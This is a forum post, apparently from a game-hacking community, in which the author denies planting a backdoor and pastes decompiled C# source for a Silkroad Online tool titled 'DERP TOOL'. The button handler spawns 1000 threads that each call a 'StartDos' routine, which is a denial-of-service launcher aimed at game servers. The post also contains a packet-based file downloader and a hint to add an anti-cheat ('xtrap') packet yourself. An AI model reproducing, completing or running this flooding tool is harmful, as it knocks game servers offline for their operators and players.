I would never release a backdoor
Here is the source, check for yourself if there is something fishy in this. Idk why its creating a log file do.
Code:
namespace Iwa___Server_Manager
{
using SilkroadSecurityApi;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
public class frmMain : Form
{
private SemaphoreSlim _sem = new SemaphoreSlim(1);
public Socket AgentClient;
public byte[] AgentClientBuffer;
public Security AgentSecurity;
private Button button2;
private IContainer components = null;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem downloadAllToolStripMenuItem;
private ToolStripMenuItem downloadFileToolStripMenuItem;
public List<GameServerData> GameServerList;
public Socket GatewayClient;
public byte[] GatewayClientBuffer;
public Security GatewaySecurity;
private GroupBox groupBox1;
public string IP;
public string ipdown;
public List<LauncherNewsData> LauncherNews;
public List<CharListingData> ListingChars;
public static object m_lock = new object();
public List<NameServerData> NameServerList;
public int Port;
public int portdown;
public bool recv_6005 = false;
public uint SessionID;
private TabPage tabPage1;
private TabControl tbMenu;
private TextBox textBox2;
private List<Thread> threads = new List<Thread>();
public frmMain()
{
this.InitializeComponent();
}
private void btnLogin_Click(object sender, EventArgs e)
{
try
{
}
catch
{
}
}
private void button1_Click(object sender, EventArgs e)
{
}
private void button1_Click_1(object sender, EventArgs e)
{
}
private void button2_Click(object sender, EventArgs e)
{
for (int j = 0; j < 0x3e8; j++)
{
new Thread(() => new Yar().StartDos()).Start();
}
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && (this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void downloadAllToolStripMenuItem_Click(object sender, EventArgs e)
{
}
private void DownloadFile(object e)
{
try
{
ListViewItem item = (ListViewItem) e;
byte[] buffer = new byte[0x2000];
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
socket.Connect(this.ipdown, this.portdown);
}
catch
{
socket.Connect(this.ipdown, this.portdown);
}
Security security = new Security();
int destinationIndex = 0;
string path = string.Format(@"C:\DOWNLOAD\{0}\{1}", item.SubItems[2].Text, item.SubItems[1].Text);
if (File.Exists(path))
{
File.Delete(path);
}
byte[] destinationArray = new byte[Convert.ToInt32(item.SubItems[3].Text)];
if (!Directory.Exists(string.Format(@"C:\DOWNLOAD\{0}", item.SubItems[2].Text)))
{
Directory.CreateDirectory(string.Format(@"C:\DOWNLOAD\{0}", item.SubItems[2].Text));
}
Packet packet = new Packet(0x6004);
packet.WriteUInt32(item.SubItems[0].Text);
packet.WriteUInt32((uint) 1);
security.Send(packet);
List<KeyValuePair<TransferBuffer, Packet>> list = security.TransferOutgoing();
if (list != null)
{
foreach (KeyValuePair<TransferBuffer, Packet> pair in list)
{
socket.Send(pair.Key.Buffer);
}
}
bool flag = true;
while (flag)
{
int length = socket.Receive(buffer);
if (length > 0)
{
security.Recv(buffer, 0, length);
List<Packet> list2 = security.TransferIncoming();
if (list2 != null)
{
foreach (Packet packet2 in list2)
{
if (packet2.Opcode == 0x1001)
{
byte[] bytes = packet2.GetBytes();
Array.Copy(bytes, 0, destinationArray, destinationIndex, bytes.Length);
destinationIndex += bytes.Length;
}
}
}
List<KeyValuePair<TransferBuffer, Packet>> list3 = security.TransferOutgoing();
if (list != null)
{
foreach (KeyValuePair<TransferBuffer, Packet> pair in list3)
{
socket.Send(pair.Key.Buffer);
}
}
}
Thread.Sleep(1);
}
Console.WriteLine(path);
socket.Disconnect(true);
socket.Dispose();
}
catch
{
}
}
private void downloadFileToolStripMenuItem_Click(object sender, EventArgs e)
{
}
private void frmMain_Load(object sender, EventArgs e)
{
}
private void InitializeComponent()
{
this.components = new Container();
this.tbMenu = new TabControl();
this.tabPage1 = new TabPage();
this.groupBox1 = new GroupBox();
this.button2 = new Button();
this.textBox2 = new TextBox();
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
this.downloadFileToolStripMenuItem = new ToolStripMenuItem();
this.downloadAllToolStripMenuItem = new ToolStripMenuItem();
this.tbMenu.SuspendLayout();
this.tabPage1.SuspendLayout();
this.groupBox1.SuspendLayout();
this.contextMenuStrip1.SuspendLayout();
base.SuspendLayout();
this.tbMenu.Controls.Add(this.tabPage1);
this.tbMenu.Location = new Point(4, 4);
this.tbMenu.Name = "tbMenu";
this.tbMenu.SelectedIndex = 0;
this.tbMenu.Size = new Size(0x2a6, 0x12f);
this.tbMenu.TabIndex = 0;
this.tabPage1.Controls.Add(this.groupBox1);
this.tabPage1.Location = new Point(4, 0x16);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new Padding(3);
this.tabPage1.Size = new Size(670, 0x115);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "DUDUDUDUDUDUDUDODODODODODODOUDUDUD";
this.tabPage1.UseVisualStyleBackColor = true;
this.groupBox1.Controls.Add(this.button2);
this.groupBox1.Controls.Add(this.textBox2);
this.groupBox1.Location = new Point(6, 6);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new Size(0x292, 0xd1);
this.groupBox1.TabIndex = 1;
this.groupBox1.TabStop = false;
this.button2.Location = new Point(0x29, 0x37);
this.button2.Name = "button2";
this.button2.Size = new Size(0x263, 0x9a);
this.button2.TabIndex = 5;
this.button2.Text = "PRESS ME, I'M LONELY";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new EventHandler(this.button2_Click);
this.textBox2.Enabled = false;
this.textBox2.Location = new Point(0x29, 0x11);
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(0x263, 0x20);
this.textBox2.TabIndex = 6;
this.textBox2.Text = "GET READY TO RUMBLE";
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[] { this.downloadFileToolStripMenuItem, this.downloadAllToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new Size(150, 0x30);
this.downloadFileToolStripMenuItem.Name = "downloadFileToolStripMenuItem";
this.downloadFileToolStripMenuItem.Size = new Size(0x95, 0x16);
this.downloadFileToolStripMenuItem.Text = "Download File";
this.downloadFileToolStripMenuItem.Click += new EventHandler(this.downloadFileToolStripMenuItem_Click);
this.downloadAllToolStripMenuItem.Name = "downloadAllToolStripMenuItem";
this.downloadAllToolStripMenuItem.Size = new Size(0x95, 0x16);
this.downloadAllToolStripMenuItem.Text = "Download All";
this.downloadAllToolStripMenuItem.Click += new EventHandler(this.downloadAllToolStripMenuItem_Click);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(0x2b6, 0x13f);
base.Controls.Add(this.tbMenu);
base.FormBorderStyle = FormBorderStyle.FixedSingle;
base.MaximizeBox = false;
base.Name = "frmMain";
this.Text = "DERP TOOL";
base.Load += new EventHandler(this.frmMain_Load);
this.tbMenu.ResumeLayout(false);
this.tabPage1.ResumeLayout(false);
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
this.contextMenuStrip1.ResumeLayout(false);
base.ResumeLayout(false);
}
[StructLayout(LayoutKind.Sequential)]
public struct CharListingData
{
public string CharName;
public byte Deleting;
}
[StructLayout(LayoutKind.Sequential)]
public struct GameServerData
{
public ushort ID;
public string Name;
public ushort Current;
public ushort Max;
public byte Status;
public byte InNameServerID;
}
[StructLayout(LayoutKind.Sequential)]
public struct LauncherNewsData
{
public string Title;
public string Body;
public DateTime PostTime;
}
[StructLayout(LayoutKind.Sequential)]
public struct NameServerData
{
public byte ID;
public string Name;
}
}
}
It's only logging some opcodes, idk its not downloading any .exe and its not running any program, its not a virus or a backdoor. When creating directory and writing to a file is a virus contact me.
So before you start accusing me, you should release the entire thing instead of parts of the code to make me look bad.
[Only registered and activated users can see links. Click Here To Register...]
[Only registered and activated users can see links. Click Here To Register...]
[Only registered and activated users can see links. Click Here To Register...]
[Only registered and activated users can see links. Click Here To Register...]
Fuck this trashtalkers really.
Source code, add the xtrap packet urself.
[Only registered and activated users can see links. Click Here To Register...]
